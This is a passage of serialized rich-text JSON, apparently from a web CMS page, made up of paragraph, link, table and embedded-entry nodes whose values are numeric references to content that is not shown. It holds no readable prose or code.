},{"id":8765,"type":909,"linkType":910},[],{"data":19838,"content":19839,"nodeType":972},{},[],{"data":19841,"content":19842,"nodeType":1317},{},[19843],{"data":19844,"marks":19845,"value":8777,"nodeType":865},{},[19846],{"type":926},{"data":19848,"content":19849,"nodeType":866},{},[19850,19853,19860,19863,19870,19873,19880],{"data":19851,"marks":19852,"value":21,"nodeType":865},{},[],{"data":19854,"content":19855,"nodeType":889},{"uri":5817},[19856],{"data":19857,"marks":19858,"value":8732,"nodeType":865},{},[19859],{"type":943},{"data":19861,"marks":19862,"value":2717,"nodeType":865},{},[],{"data":19864,"content":19865,"nodeType":889},{"uri":8796},[19866],{"data":19867,"marks":19868,"value":8802,"nodeType":865},{},[19869],{"type":943},{"data":19871,"marks":19872,"value":8806,"nodeType":865},{},[],{"data":19874,"content":19875,"nodeType":889},{"uri":8714},[19876],{"data":19877,"marks":19878,"value":8814,"nodeType":865},{},[19879],{"type":943},{"data":19881,"marks":19882,"value":8818,"nodeType":865},{},[],{"data":19884,"content":19887,"nodeType":912},{"target":19885},{"sys":19886},{"id":8823,"type":909,"linkType":910},[],{"data":19889,"content":19890,"nodeType":866},{},[19891],{"data":19892,"marks":19893,"value":8831,"nodeType":865},{},[],{"data":19895,"content":19896,"nodeType":866},{},[19897],{"data":19898,"marks":19899,"value":8838,"nodeType":865},{},[],{"data":19901,"content":19902,"nodeType":866},{},[19903],{"data":19904,"marks":19905,"value":8845,"nodeType":865},{},[],{"data":19907,"content":19908,"nodeType":866},{},[19909],{"data":19910,"marks":19911,"value":8852,"nodeType":865},{},[],{"data":19913,"content":19914,"nodeType":866},{},[19915,19918,19925],{"data":19916,"marks":19917,"value":8859,"nodeType":865},{},[],{"data":19919,"content":19920,"nodeType":889},{"uri":8862},[19921],{"data":19922,"marks":19923,"value":8868,"nodeType":865},{},[19924],{"type":943},{"data":19926,"marks":19927,"value":8872,"nodeType":865},{},[],{"data":19929,"content":19932,"nodeType":912},{"target":19930},{"sys":19931},{"id":8877,"type":909,"linkType":910},[],{"data":19934,"content":19937,"nodeType":912},{"target":19935},{"sys":19936},{"id":8883,"type":909,"linkType":910},[],{"data":19939,"content":19942,"nodeType":912},{"target":19940},{"sys":19941},{"id":8889,"type":909,"linkType":910},[],{"data":19944,"content":19947,"nodeType":912},{"target":19945},{"sys":19946},{"id":8895,"type":909,"linkType":910},[],{"data":19949,"content":19952,"nodeType":912},{"target":19950},{"sys":19951},{"id":8901,"type":909,"linkType":910},[],{"data":19954,"content":19957,"nodeType":912},{"target":19955},{"sys":19956},{"id":8907,"type":909,"linkType":910},[],{"data":19959,"content":19962,"nodeType":912},{"target":19960},{"sys":19961},{"id":8913,"type":909,"linkType":910},[],{"data":19964,"content":19965,"nodeType":866},{},[19966],{"data":19967,"marks":19968,"value":21,"nodeType":865},{},[],{"data":19970,"content":19971,"nodeType":2927},{},[19972,19994,20065,20111,20133],{"data":19973,"content":19974,"nodeType":2400},{},[19975,19985],{"data":19976,"content":19977,"nodeType":2366},{},[19978],{"data":19979,"content":19980,"nodeType":866},{},[19981],{"data":19982,"marks":19983,"value":8937,"nodeType":865},{},[19984],{"type":926},{"data":19986,"content":19987,"nodeType":2366},{},[19988],{"data":19989,"content":19990,"nodeType":866},{},[19991],{"data":19992,"marks":19993,"value":8947,"nodeType":865},{},[],{"data":19995,"content":19996,"nodeType":2400},{},[19997,20007],{"data":19998,"content":19999,"nodeType":2366},{},[20000],{"data":20001,"content":20002,"nodeType":866},{},[20003],{"data":20004,"marks":20005,"value":8961,"nodeType":865},{},[20006],{"type":926},{"data":20008,"content":20009,"nodeType":2366},{},[20010,20034],{"data":20011,"content":20012,"nodeType":866},{},[20013,20017,20020,20024,20027,20031],{"data":20014,"marks":20015,"value":8972,"nodeType":865},{},[20016],{"type":926},{"data":20018,"marks":20019,"value":8976,"nodeType":865},{},[],{"data":20021,"marks":20022,"value":8981,"nodeType":865},{},[20023],{"type":926},{"data":20025,"marks":20026,"value":8985,"nodeType":865},{},[],{"data":20028,"marks":20029,"value":8990,"nodeType":865},{},[20030],{"type":926},{"data":20032,"marks":20033,"value":8994,"nodeType":865},{},[],{"data":20035,"content":20036,"nodeType":866},{},[20037,20041,20044,20048,20051,20055,20058,20062],{"data":20038,"marks":20039,"value":9002,"nodeType":865},{},[20040],{"type":926},{"data":20042,"marks":20043,"value":2688,"nodeType":865},{},[],{"data":20045,"marks":20046,"value":9010,"nodeType":865},{},[20047],{"type":926},{"data":20049,"marks":20050,"value":9014,"nodeType":865},{},[],{"data":20052,"marks":20053,"value":8981,"nodeType":865},{},[20054],{"type":926},{"data":20056,"marks":20057,"value":9022,"nodeType":865},{},[],{"data":20059,"marks":20060,"value":8990,"nodeType":865},{},[20061],{"type":926},{"data":20063,"marks":20064,"value":9030,"nodeType":865},{},[],{"data":20066,"content":20067,"nodeType":2400},{},[20068,20078],{"data":20069,"content":20070,"nodeType":2366},{},[20071],{"data":20072,"content":20073,"nodeType":866},{},[20074],{"data":20075,"marks":20076,"value":9044,"nodeType":865},{},[20077],{"type":926},{"data":20079,"content":20080,"nodeType":2366},{},[20081,20087,20093,20099,20105],{"data":20082,"content":20083,"nodeType":866},{},[20084],{"data":20085,"marks":20086,"value":9054,"nodeType":865},{},[],{"data":20088,"content":20089,"nodeType":866},{},[20090],{"data":20091,"marks":20092,"value":9061,"nodeType":865},{},[],{"data":20094,"content":20095,"nodeType":866},{},[20096],{"data":20097,"marks":20098,"value":9068,"nodeType":865},{},[],{"data":20100,"content":20101,"nodeType":866},{},[20102],{"data":20103,"marks":20104,"value":9075,"nodeType":865},{},[],{"data":20106,"content":20107,"nodeType":866},{},[20108],{"data":20109,"marks":20110,"value":9082,"nodeType":865},{},[],{"data":20112,"content":20113,"nodeType":2400},{},[20114,20124],{"data":20115,"content":20116,"nodeType":2366},{},[20117],{"data":20118,"content":20119,"nodeType":866},{},[20120],{"data":20121,"marks":20122,"value":9096,"nodeType":865},{},[20123],{"type":926},{"data":20125,"content":20126,"nodeType":2366},{},[20127],{"data":20128,"content":20129,"nodeType":866},{},[20130],{"data":20131,"marks":20132,"value":9106,"nodeType":865},{},[],{"data":20134,"content":20135,"nodeType":2400},{},[20136,20146],{"data":20137,"content":20138,"nodeType":2366},{},[20139],{"data":20140,"content":20141,"nodeType":866},{},[20142],{"data":20143,"marks":20144,"value":9120,"nodeType":865},{},[20145],{"type":926},{"data":20147,"content":20148,"nodeType":2366},{},[20149,20159,20169,20179,20189],{"data":20150,"content":20151,"nodeType":866},{},[20152,20156],{"data":20153,"marks":20154,"value":9131,"nodeType":865},{},[20155],{"type":926},{"data":20157,"marks":20158,"value":9135,"nodeType":865},{},[],{"data":20160,"content":20161,"nodeType":866},{},[20162,20166],{"data":20163,"marks":20164,"value":9143,"nodeType":865},{},[20165],{"type":926},{"data":20167,"marks":20168,"value":9147,"nodeType":865},{},[],{"data":20170,"content":20171,"nodeType":866},{},[20172,20176],{"data":20173,"marks":20174,"value":9155,"nodeType":865},{},[20175],{"type":926},{"data":20177,"marks":20178,"value":9159,"nodeType":865},{},[],{"data":20180,"content":20181,"nodeType":866},{},[20182,20186],{"data":20183,"marks":20184,"value":9167,"nodeType":865},{},[20185],{"type":926},{"data":20187,"marks":20188,"value":9171,"nodeType":865},{},[],{"data":20190,"content":20191,"nodeType":866},{},[20192,20196],{"data":20193,"marks":20194,"value":9179,"nodeType":865},{},[20195],{"type":926},{"data":20197,"marks":20198,"value":9183,"nodeType":865},{},[],{"data":20200,"content":20201,"nodeType":972},{},[],{"data":20203,"content":20204,"nodeType":1317},{},[20205],{"data":20206,"marks":20207,"value":9194,"nodeType":865},{},[20208],{"type":926},{"data":20210,"content":20211,"nodeType":2927},{},[20212,20234,20270,20292,20314],{"data":20213,"content":20214,"nodeType":2400},{},[20215,20225],{"data":20216,"content":20217,"nodeType":2366},{},[20218],{"data":20219,"content":20220,"nodeType":866},{},[20221],{"data":20222,"marks":20223,"value":8937,"nodeType":865},{},[20224],{"type":926},{"data":20226,"content":20227,"nodeType":2366},{},[20228],{"data":20229,"content":20230,"nodeType":866},{},[20231],{"data":20232,"marks":20233,"value":9220,"nodeType":865},{},[],{"data":20235,"content":20236,"nodeType":2400},{},[20237,20247],{"data":20238,"content":20239,"nodeType":2366},{},[20240],{"data":20241,"content":20242,"nodeType":866},{},[20243],{"data":20244,"marks":20245,"value":8961,"nodeType":865},{},[20246],{"type":926},{"data":20248,"content":20249,"nodeType":2366},{},[20250,20260],{"data":20251,"content":20252,"nodeType":866},{},[20253,20257],{"data":20254,"marks":20255,"value":9244,"nodeType":865},{},[20256],{"type":926},{"data":20258,"marks":20259,"value":9248,"nodeType":865},{},[],{"data":20261,"content":20262,"nodeType":866},{},[20263,20267],{"data":20264,"marks":20265,"value":9002,"nodeType":865},{},[20266],{"type":926},{"data":20268,"marks":20269,"value":9259,"nodeType":865},{},[],{"data":20271,"content":20272,"nodeType":2400},{},[20273,20283],{"data":20274,"content":20275,"nodeType":2366},{},[20276],{"data":20277,"content":20278,"nodeType":866},{},[20279],{"data":20280,"marks":20281,"value":9044,"nodeType":865},{},[20282],{"type":926},{"data":20284,"content":20285,"nodeType":2366},{},[20286],{"data":20287,"content":20288,"nodeType":866},{},[20289],{"data":20290,"marks":20291,"value":9282,"nodeType":865},{},[],{"data":20293,"content":20294,"nodeType":2400},{},[20295,20305],{"data":20296,"content":20297,"nodeType":2366},{},[20298],{"data":20299,"content":20300,"nodeType":866},{},[20301],{"data":20302,"marks":20303,"value":9096,"nodeType":865},{},[20304],{"type":926},{"data":20306,"content":20307,"nodeType":2366},{},[20308],{"data":20309,"content":20310,"nodeType":866},{},[20311],{"data":20312,"marks":20313,"value":9305,"nodeType":865},{},[],{"data":20315,"content":20316,"nodeType":2400},{},[20317,20327],{"data":20318,"content":20319,"nodeType":2366},{},[20320],{"data":20321,"content":20322,"nodeType":866},{},[20323],{"data":20324,"marks":20325,"value":9319,"nodeType":865},{},[20326],{"type":926},{"data":20328,"content":20329,"nodeType":2366},{},[20330],{"data":20331,"content":20332,"nodeType":866},{},[20333],{"data":20334,"marks":20335,"value":9329,"nodeType":865},{},[],{"data":20337,"content":20340,"nodeType":912},{"target":20338},{"sys":20339},{"id":9334,"type":909,"linkType":910},[],{"data":20342,"content":20343,"nodeType":972},{},[],{"data":20345,"content":20346,"nodeType":1317},{},[20347],{"data":20348,"marks":20349,"value":9346,"nodeType":865},{},[20350],{"type":926},{"data":20352,"content":20353,"nodeType":866},{},[20354,20357,20361,20364,20370,20373,20379],{"data":20355,"marks":20356,"value":9353,"nodeType":865},{},[],{"data":20358,"marks":20359,"value":9358,"nodeType":865},{},[20360],{"type":926},{"data":20362,"marks":20363,"value":9362,"nodeType":865},{},[],{"data":20365,"content":20366,"nodeType":889},{"uri":9365},[20367],{"data":20368,"marks":20369,"value":9370,"nodeType":865},{},[],{"data":20371,"marks":20372,"value":9374,"nodeType":865},{},[],{"data":20374,"content":20375,"nodeType":889},{"uri":9377},[20376],{"data":20377,"marks":20378,"value":9382,"nodeType":865},{},[],{"data":20380,"marks":20381,"value":9386,"nodeType":865},{},[],{"data":20383,"content":20384,"nodeType":2927},{},[20385,20407,20443,20465,20487],{"data":20386,"content":20387,"nodeType":2400},{},[20388,20398],{"data":20389,"content":20390,"nodeType":2366},{},[20391],{"data":20392,"content":20393,"nodeType":866},{},[20394],{"data":20395,"marks":20396,"value":8937,"nodeType":865},{},[20397],{"type":926},{"data":20399,"content":20400,"nodeType":2366},{},[20401],{"data":20402,"content":20403,"nodeType":866},{},[20404],{"data":20405,"marks":20406,"value":9412,"nodeType":865},{},[],{"data":20408,"content":20409,"nodeType":2400},{},[20410,20420],{"data":20411,"content":20412,"nodeType":2366},{},[20413],{"data":20414,"content":20415,"nodeType":866},{},[20416],{"data":20417,"marks":20418,"value":8961,"nodeType":865},{},[20419],{"type":926},{"data":20421,"content":20422,"nodeType":2366},{},[20423,20433],{"data":20424,"content":20425,"nodeType":866},{},[20426,20430],{"data":20427,"marks":20428,"value":9436,"nodeType":865},{},[20429],{"type":926},{"data":20431,"marks":20432,"value":9440,"nodeType":865},{},[],{"data":20434,"content":20435,"nodeType":866},{},[20436,20440],{"data":20437,"marks":20438,"value":9002,"nodeType":865},{},[20439],{"type":926},{"data":20441,"marks":20442,"value":9451,"nodeType":865},{},[],{"data":20444,"content":20445,"nodeType":2400},{},[20446,20456],{"data":20447,"content":20448,"nodeType":2366},{},[20449],{"data":20450,"content":20451,"nodeType":866},{},[20452],{"data":20453,"marks":20454,"value":9044,"nodeType":865},{},[20455],{"type":926},{"data":20457,"content":20458,"nodeType":2366},{},[20459],{"data":20460,"content":20461,"nodeType":866},{},[20462],{"data":20463,"marks":20464,"value":9474,"nodeType":865},{},[],{"data":20466,"content":20467,"nodeType":2400},{},[20468,20478],{"data":20469,"content":20470,"nodeType":2366},{},[20471],{"data":20472,"content":20473,"nodeType":866},{},[20474],{"data":20475,"marks":20476,"value":9096,"nodeType":865},{},[20477],{"type":926},{"data":20479,"content":20480,"nodeType":2366},{},[20481],{"data":20482,"content":20483,"nodeType":866},{},[20484],{"data":20485,"marks":20486,"value":9497,"nodeType":865},{},[],{"data":20488,"content":20489,"nodeType":2400},{},[20490,20500],{"data":20491,"content":20492,"nodeType":2366},{},[20493],{"data":20494,"content":20495,"nodeType":866},{},[20496],{"data":20497,"marks":20498,"value":9319,"nodeType":865},{},[20499],{"type":926},{"data":20501,"content":20502,"nodeType":2366},{},[20503],{"data":20504,"content":20505,"nodeType":866},{},[20506],{"data":20507,"marks":20508,"value":9520,"nodeType":865},{},[],{"data":20510,"content":20513,"nodeType":912},{"target":20511},{"sys":20512},{"id":9525,"type":909,"linkType":910},[],{"data":20515,"content":20516,"nodeType":972},{},[],{"data":20518,"content":20519,"nodeType":1317},{},[20520],{"data":20521,"marks":20522,"value":9537,"nodeType":865},{},[20523],{"type":926},{"data":20525,"content":20526,"nodeType":2927},{},[20527,20549,20591,20619,20641],{"data":20528,"content":20529,"nodeType":2400},{},[20530,20540],{"data":20531,"content":20532,"nodeType":2366},{},[20533],{"data":20534,"content":20535,"nodeType":866},{},[20536],{"data":20537,"marks":20538,"value":8937,"nodeType":865},{},[20539],{"type":926},{"data":20541,"content":20542,"nodeType":2366},{},[20543],{"data":20544,"content":20545,"nodeType":866},{},[20546],{"data":20547,"marks":20548,"value":9563,"nodeType":865},{},[],{"data":20550,"content":20551,"nodeType":2400},{},[20552,20562],{"data":20553,"content":20554,"nodeType":2366},{},[20555],{"data":20556,"content":20557,"nodeType":866},{},[20558],{"data":20559,"marks":20560,"value":8961,"nodeType":865},{},[20561],{"type":926},{"data":20563,"content":20564,"nodeType":2366},{},[20565,20575,20581],{"data":20566,"content":20567,"nodeType":866},{},[20568,20572],{"data":20569,"marks":20570,"value":9436,"nodeType":865},{},[20571],{"type":926},{"data":20573,"marks":20574,"value":9590,"nodeType":865},{},[],{"data":20576,"content":20577,"nodeType":866},{},[20578],{"data":20579,"marks":20580,"value":9597,"nodeType":865},{},[],{"data":20582,"content":20583,"nodeType":866},{},[20584,20588],{"data":20585,"marks":20586,"value":9002,"nodeType":865},{},[20587],{"type":926},{"data":20589,"marks":20590,"value":9608,"nodeType":865},{},[],{"data":20592,"content":20593,"nodeType":2400},{},[20594,20604],{"data":20595,"content":20596,"nodeType":2366},{},[20597],{"data":20598,"content":20599,"nodeType":866},{},[20600],{"data":20601,"marks":20602,"value":9044,"nodeType":865},{},[20603],{"type":926},{"data":20605,"content":20606,"nodeType":2366},{},[20607,20613],{"data":20608,"content":20609,"nodeType":866},{},[20610],{"data":20611,"marks":20612,"value":9631,"nodeType":865},{},[],{"data":20614,"content":20615,"nodeType":866},{},[20616],{"data":20617,"marks":20618,"value":9638,"nodeType":865},{},[],{"data":20620,"content":20621,"nodeType":2400},{},[20622,20632],{"data":20623,"content":20624,"nodeType":2366},{},[20625],{"data":20626,"content":20627,"nodeType":866},{},[20628],{"data":20629,"marks":20630,"value":9096,"nodeType":865},{},[20631],{"type":926},{"data":20633,"content":20634,"nodeType":2366},{},[20635],{"data":20636,"content":20637,"nodeType":866},{},[20638],{"data":20639,"marks":20640,"value":9661,"nodeType":865},{},[],{"data":20642,"content":20643,"nodeType":2400},{},[20644,20654],{"data":20645,"content":20646,"nodeType":2366},{},[20647],{"data":20648,"content":20649,"nodeType":866},{},[20650],{"data":20651,"marks":20652,"value":9319,"nodeType":865},{},[20653],{"type":926},{"data":20655,"content":20656,"nodeType":2366},{},[20657],{"data":20658,"content":20659,"nodeType":866},{},[20660],{"data":20661,"marks":20662,"value":9684,"nodeType":865},{},[],{"data":20664,"content":20667,"nodeType":912},{"target":20665},{"sys":20666},{"id":9689,"type":909,"linkType":910},[],{"data":20669,"content":20670,"nodeType":972},{},[],{"data":20672,"content":20673,"nodeType":1317},{},[20674],{"data":20675,"marks":20676,"value":9701,"nodeType":865},{},[20677],{"type":926},{"data":20679,"content":20682,"nodeType":912},{"target":20680},{"sys":20681},{"id":9706,"type":909,"linkType":910},[],{"data":20684,"content":20685,"nodeType":2927},{},[20686,20708,20751,20773,20795],{"data":20687,"content":20688,"nodeType":2400},{},[20689,20699],{"data":20690,"content":20691,"nodeType":2366},{},[20692],{"data":20693,"content":20694,"nodeType":866},{},[20695],{"data":20696,"marks":20697,"value":8937,"nodeType":865},{},[20698],{"type":926},{"data":20700,"content":20701,"nodeType":2366},{},[20702],{"data":20703,"content":20704,"nodeType":866},{},[20705],{"data":20706,"marks":20707,"value":9733,"nodeType":865},{},[],{"data":20709,"content":20710,"nodeType":2400},{},[20711,20721],{"data":20712,"content":20713,"nodeType":2366},{},[20714],{"data":20715,"content":20716,"nodeType":866},{},[20717],{"data":20718,"marks":20719,"value":8961,"nodeType":865},{},[20720],{"type":926},{"data":20722,"content":20723,"nodeType":2366},{},[20724,20734],{"data":20725,"content":20726,"nodeType":866},{},[20727,20731],{"data":20728,"marks":20729,"value":9436,"nodeType":865},{},[20730],{"type":926},{"data":20732,"marks":20733,"value":9760,"nodeType":865},{},[],{"data":20735,"content":20736,"nodeType":866},{},[20737,20741,20744,20748],{"data":20738,"marks":20739,"value":9002,"nodeType":865},{},[20740],{"type":926},{"data":20742,"marks":20743,"value":2688,"nodeType":865},{},[],{"data":20745,"marks":20746,"value":5959,"nodeType":865},{},[20747],{"type":926},{"data":20749,"marks":20750,"value":9778,"nodeType":865},{},[],{"data":20752,"content":20753,"nodeType":2400},{},[20754,20764],{"data":20755,"content":20756,"nodeType":2366},{},[20757],{"data":20758,"content":20759,"nodeType":866},{},[20760],{"data":20761,"marks":20762,"value":9044,"nodeType":865},{},[20763],{"type":926},{"data":20765,"content":20766,"nodeType":2366},{},[20767],{"data":20768,"content":20769,"nodeType":866},{},[20770],{"data":20771,"marks":20772,"value":9801,"nodeType":865},{},[],{"data":20774,"content":20775,"nodeType":2400},{},[20776,20786],{"data":20777,"content":20778,"nodeType":2366},{},[20779],{"data":20780,"content":20781,"nodeType":866},{},[20782],{"data":20783,"marks":20784,"value":9096,"nodeType":865},{},[20785],{"type":926},{"data":20787,"content":20788,"nodeType":2366},{},[20789],{"data":20790,"content":20791,"nodeType":866},{},[20792],{"data":20793,"marks":20794,"value":9824,"nodeType":865},{},[],{"data":20796,"content":20797,"nodeType":2400},{},[20798,20808],{"data":20799,"content":20800,"nodeType":2366},{},[20801],{"data":20802,"content":20803,"nodeType":866},{},[20804],{"data":20805,"marks":20806,"value":9319,"nodeType":865},{},[20807],{"type":926},{"data":20809,"content":20810,"nodeType":2366},{},[20811],{"data":20812,"content":20813,"nodeType":866},{},[20814],{"data":20815,"marks":20816,"value":9847,"nodeType":865},{},[],{"data":20818,"content":20821,"nodeType":912},{"target":20819},{"sys":20820},{"id":9852,"type":909,"linkType":910},[],{"data":20823,"content":20826,"nodeType":912},{"target":20824},{"sys":20825},{"id":9858,"type":909,"linkType":910},[],{"data":20828,"content":20829,"nodeType":972},{},[],{"data":20831,"content":20832,"nodeType":1317},{},[20833],{"data":20834,"marks":20835,"value":9870,"nodeType":865},{},[20836],{"type":926},{"data":20838,"content":20839,"nodeType":2927},{},[20840,20862,20898,20932,20954],{"data":20841,"content":20842,"nodeType":2400},{},[20843,20853],{"data":20844,"content":20845,"nodeType":2366},{},[20846],{"data":20847,"content":20848,"nodeType":866},{},[20849],{"data":20850,"marks":20851,"value":8937,"nodeType":865},{},[20852],{"type":926},{"data":20854,"content":20855,"nodeType":2366},{},[20856],{"data":20857,"content":20858,"nodeType":866},{},[20859],{"data":20860,"marks":20861,"value":9896,"nodeType":865},{},[],{"data":20863,"content":20864,"nodeType":2400},{},[20865,20875],{"data":20866,"content":20867,"nodeType":2366},{},[20868],{"data":20869,"content":20870,"nodeType":866},{},[20871],{"data":20872,"marks":20873,"value":8961,"nodeType":865},{},[20874],{"type":926},{"data":20876,"content":20877,"nodeType":2366},{},[20878,20888],{"data":20879,"content":20880,"nodeType":866},{},[20881,20885],{"data":20882,"marks":20883,"value":9436,"nodeType":865},{},[20884],{"type":926},{"data":20886,"marks":20887,"value":9923,"nodeType":865},{},[],{"data":20889,"content":20890,"nodeType":866},{},[20891,20895],{"data":20892,"marks":20893,"value":9002,"nodeType":865},{},[20894],{"type":926},{"data":20896,"marks":20897,"value":9934,"nodeType":865},{},[],{"data":20899,"content":20900,"nodeType":2400},{},[20901,20911],{"data":20902,"content":20903,"nodeType":2366},{},[20904],{"data":20905,"content":20906,"nodeType":866},{},[20907],{"data":20908,"marks":20909,"value":9044,"nodeType":865},{},[20910],{"type":926},{"data":20912,"content":20913,"nodeType":2366},{},[20914,20920,20926],{"data":20915,"content":20916,"nodeType":866},{},[20917],{"data":20918,"marks":20919,"value":9957,"nodeType":865},{},[],{"data":20921,"content":20922,"nodeType":866},{},[20923],{"data":20924,"marks":20925,"value":9964,"nodeType":865},{},[],{"data":20927,"content":20928,"nodeType":866},{},[20929],{"data":20930,"marks":20931,"value":9971,"nodeType":865},{},[],{"data":20933,"content":20934,"nodeType":2400},{},[20935,20945],{"data":20936,"content":20937,"nodeType":2366},{},[20938],{"data":20939,"content":20940,"nodeType":866},{},[20941],{"data":20942,"marks":20943,"value":9096,"nodeType":865},{},[20944],{"type":926},{"data":20946,"content":20947,"nodeType":2366},{},[20948],{"data":20949,"content":20950,"nodeType":866},{},[20951],{"data":20952,"marks":20953,"value":9994,"nodeType":865},{},[],{"data":20955,"content":20956,"nodeType":2400},{},[20957,20967],{"data":20958,"content":20959,"nodeType":2366},{},[20960],{"data":20961,"content":20962,"nodeType":866},{},[20963],{"data":20964,"marks":20965,"value":9319,"nodeType":865},{},[20966],{"type":926},{"data":20968,"content":20969,"nodeType":2366},{},[20970],{"data":20971,"content":20972,"nodeType":866},{},[20973],{"data":20974,"marks":20975,"value":10017,"nodeType":865},{},[],{"data":20977,"content":20980,"nodeType":912},{"target":20978},{"sys":20979},{"id":10022,"type":909,"linkType":910},[],{"data":20982,"content":20983,"nodeType":972},{},[],{"data":20985,"content":20986,"nodeType":1317},{},[20987],{"data":20988,"marks":20989,"value":10034,"nodeType":865},{},[20990],{"type":926},{"data":20992,"content":20993,"nodeType":2927},{},[20994,21016,21059,21087,21109],{"data":20995,"content":20996,"nodeType":2400},{},[20997,21007],{"data":20998,"content":20999,"nodeType":2366},{},[21000],{"data":21001,"content":21002,"nodeType":866},{},[21003],{"data":21004,"marks":21005,"value":8937,"nodeType":865},{},[21006],{"type":926},{"data":21008,"content":21009,"nodeType":2366},{},[21010],{"data":21011,"content":21012,"nodeType":866},{},[21013],{"data":21014,"marks":21015,"value":9733,"nodeType":865},{},[],{"data":21017,"content":21018,"nodeType":2400},{},[21019,21029],{"data":21020,"content":21021,"nodeType":2366},{},[21022],{"data":21023,"content":21024,"nodeType":866},{},[21025],{"data":21026,"marks":21027,"value":8961,"nodeType":865},{},[21028],{"type":926},{"data":21030,"content":21031,"nodeType":2366},{},[21032,21042],{"data":21033,"content":21034,"nodeType":866},{},[21035,21039],{"data":21036,"marks":21037,"value":9436,"nodeType":865},{},[21038],{"type":926},{"data":21040,"marks":21041,"value":10086,"nodeType":865},{},[],{"data":21043,"content":21044,"nodeType":866},{},[21045,21049,21052,21056],{"data":21046,"marks":21047,"value":9002,"nodeType":865},{},[21048],{"type":926},{"data":21050,"marks":21051,"value":2688,"nodeType":865},{},[],{"data":21053,"marks":21054,"value":5959,"nodeType":865},{},[21055],{"type":926},{"data":21057,"marks":21058,"value":10104,"nodeType":865},{},[],{"data":21060,"content":21061,"nodeType":2400},{},[21062,21072],{"data":21063,"content":21064,"nodeType":2366},{},[21065],{"data":21066,"content":21067,"nodeType":866},{},[21068],{"data":21069,"marks":21070,"value":9044,"nodeType":865},{},[21071],{"type":926},{"data":21073,"content":21074,"nodeType":2366},{},[21075,21081],{"data":21076,"content":21077,"nodeType":866},{},[21078],{"data":21079,"marks":21080,"value":10127,"nodeType":865},{},[],{"data":21082,"content":21083,"nodeType":866},{},[21084],{"data":21085,"marks":21086,"value":10134,"nodeType":865},{},[],{"data":21088,"content":21089,"nodeType":2400},{},[21090,21100],{"data":21091,"content":21092,"nodeType":2366},{},[21093],{"data":21094,"content":21095,"nodeType":866},{},[21096],{"data":21097,"marks":21098,"value":9096,"nodeType":865},{},[21099],{"type":926},{"data":21101,"content":21102,"nodeType":2366},{},[21103],{"data":21104,"content":21105,"nodeType":866},{},[21106],{"data":21107,"marks":21108,"value":10157,"nodeType":865},{},[],{"data":21110,"content":21111,"nodeType":2400},{},[21112,21122],{"data":21113,"content":21114,"nodeType":2366},{},[21115],{"data":21116,"content":21117,"nodeType":866},{},[21118],{"data":21119,"marks":21120,"value":9319,"nodeType":865},{},[21121],{"type":926},{"data":21123,"content":21124,"nodeType":2366},{},[21125],{"data":21126,"content":21127,"nodeType":866},{},[21128],{"data":21129,"marks":21130,"value":10180,"nodeType":865},{},[],{"data":21132,"content":21135,"nodeType":912},{"target":21133},{"sys":21134},{"id":10185,"type":909,"linkType":910},[],{"data":21137,"content":21138,"nodeType":972},{},[],{"data":21140,"content":21141,"nodeType":1317},{},[21142],{"data":21143,"marks":21144,"value":10197,"nodeType":865},{},[21145],{"type":926},{"data":21147,"content":21148,"nodeType":2927},{},[21149,21171,21193,21215],{"data":21150,"content":21151,"nodeType":2400},{},[21152,21162],{"data":21153,"content":21154,"nodeType":2366},{},[21155],{"data":21156,"content":21157,"nodeType":866},{},[21158],{"data":21159,"marks":21160,"value":8937,"nodeType":865},{},[21161],{"type":926},{"data":21163,"content":21164,"nodeType":2366},{},[21165],{"data":21166,"content":21167,"nodeType":866},{},[21168],{"data":21169,"marks":21170,"value":10223,"nodeType":865},{},[],{"data":21172,"content":21173,"nodeType":2400},{},[21174,21184],{"data":21175,"content":21176,"nodeType":2366},{},[21177],{"data":21178,"content":21179,"nodeType":866},{},[21180],{"data":21181,"marks":21182,"value":9044,"nodeType":865},{},[21183],{"type":926},{"data":21185,"content":21186,"nodeType":2366},{},[21187],{"data":21188,"content":21189,"nodeType":866},{},[21190],{"data":21191,"marks":21192,"value":10246,"nodeType":865},{},[],{"data":21194,"content":21195,"nodeType":2400},{},[21196,21206],{"data":21197,"content":21198,"nodeType":2366},{},[21199],{"data":21200,"content":21201,"nodeType":866},{},[21202],{"data":21203,"marks":21204,"value":9096,"nodeType":865},{},[21205],{"type":926},{"data":21207,"content":21208,"nodeType":2366},{},[21209],{"data":21210,"content":21211,"nodeType":866},{},[21212],{"data":21213,"marks":21214,"value":10269,"nodeType":865},{},[],{"data":21216,"content":21217,"nodeType":2400},{},[21218,21228],{"data":21219,"content":21220,"nodeType":2366},{},[21221],{"data":21222,"content":21223,"nodeType":866},{},[21224],{"data":21225,"marks":21226,"value":9319,"nodeType":865},{},[21227],{"type":926},{"data":21229,"content":21230,"nodeType":2366},{},[21231],{"data":21232,"content":21233,"nodeType":866},{},[21234],{"data":21235,"marks":21236,"value":10292,"nodeType":865},{},[],{"data":21238,"content":21241,"nodeType":912},{"target":21239},{"sys":21240},{"id":10297,"type":909,"linkType":910},[],{"data":21243,"content":21244,"nodeType":972},{},[],{"data":21246,"content":21247,"nodeType":1317},{},[21248],{"data":21249,"marks":21250,"value":10309,"nodeType":865},{},[21251],{"type":926},{"data":21253,"content":21254,"nodeType":2927},{},[21255,21277,21299,21321],{"data":21256,"content":21257,"nodeType":2400},{},[21258,21268],{"data":21259,"content":21260,"nodeType":2366},{},[21261],{"data":21262,"content":21263,"nodeType":866},{},[21264],{"data":21265,"marks":21266,"value":8937,"nodeType":865},{},[21267],{"type":926},{"data":21269,"content":21270,"nodeType":2366},{},[21271],{"data":21272,"content":21273,"nodeType":866},{},[21274],{"data":21275,"marks":21276,"value":9220,"nodeType":865},{},[],{"data":21278,"content":21279,"nodeType":2400},{},[21280,21290],{"data":21281,"content":21282,"nodeType":2366},{},[21283],{"data":21284,"content":21285,"nodeType":866},{},[21286],{"data":21287,"marks":21288,"value":9044,"nodeType":865},{},[21289],{"type":926},{"data":21291,"content":21292,"nodeType":2366},{},[21293],{"data":21294,"content":21295,"nodeType":866},{},[21296],{"data":21297,"marks":21298,"value":10357,"nodeType":865},{},[],{"data":21300,"content":21301,"nodeType":2400},{},[21302,21312],{"data":21303,"content":21304,"nodeType":2366},{},[21305],{"data":21306,"content":21307,"nodeType":866},{},[21308],{"data":21309,"marks":21310,"value":9096,"nodeType":865},{},[21311],{"type":926},{"data":21313,"content":21314,"nodeType":2366},{},[21315],{"data":21316,"content":21317,"nodeType":866},{},[21318],{"data":21319,"marks":21320,"value":10380,"nodeType":865},{},[],{"data":21322,"content":21323,"nodeType":2400},{},[21324,21334],{"data":21325,"content":21326,"nodeType":2366},{},[21327],{"data":21328,"content":21329